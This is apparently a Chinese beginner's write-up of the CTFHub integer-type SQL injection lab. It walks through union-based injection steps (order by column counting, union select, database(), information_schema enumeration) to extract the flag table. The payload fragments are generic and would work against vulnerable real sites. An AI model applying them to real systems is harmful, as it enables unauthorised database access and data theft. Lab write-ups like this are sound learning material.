从0开始学CTF[Web篇]
Ctfhub-sql注入【整数型】
哟哟哟~又见面了各位咱今天深入一小波开始学一学sql注入
以ctfhub的这道题目为例子
身为一名小白我们先预习一下今天要用到的知识
- union select
- order by
database()
查询当前所在的库名group_concat(schema_name) from information_schema.schemata
显示所有数据库的名称select table_name from information_schema.tables where table_schema='name' limit x,x;
查询单个数据库中的第几个表名select table_name from information_schema.tables where table_schema='name';
查询一个数据可中的所有表名group_concat(column_name) from information_schema.columns where
table_schema=‘表名’ and table_name=‘字段名’ 获取表明中的字段名group_concat(表名) from 库名.字段名
欧克 这就是我们大概会用到的相关函数
那么我们就可以开始做题了
一开始登入网址可看到
大家可以随便尝试输入一些东西
可以观察是否返回成功
开始运用
order by
先尝试看看一共有几列,当道三的时候发现不返回了说明只有两列
再用
union select
合并
接下来就可以查询一下我们现在在什么库
用到
database()
欸,发现我们在sqli里面
然后我们再尝试看看一共有什么库用到
group_concat(schema_name) from information_schema.schemata
发现有老多库了,我们就大胆猜测从我们本来就在的库里面查找
然后可以查询所有的表头
select table_name from information_schema.tables where
table_schema=‘sqli’ ;
发现了
我们肯定要的是flag里面的数据对吧
于是使用函数获得此表里面的带有flag的字段名
group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’
这样我们就很清楚一个库的库名,表名和字段名就可以直接查找里面的数据
group_concat(flag) from sqli.flag
最后得到
然后我们就可以输入flag通过本题啦
小白承认这题对于我来说是一个练手的题目【嘿嘿】
感谢大家支持有问题欢迎大家提出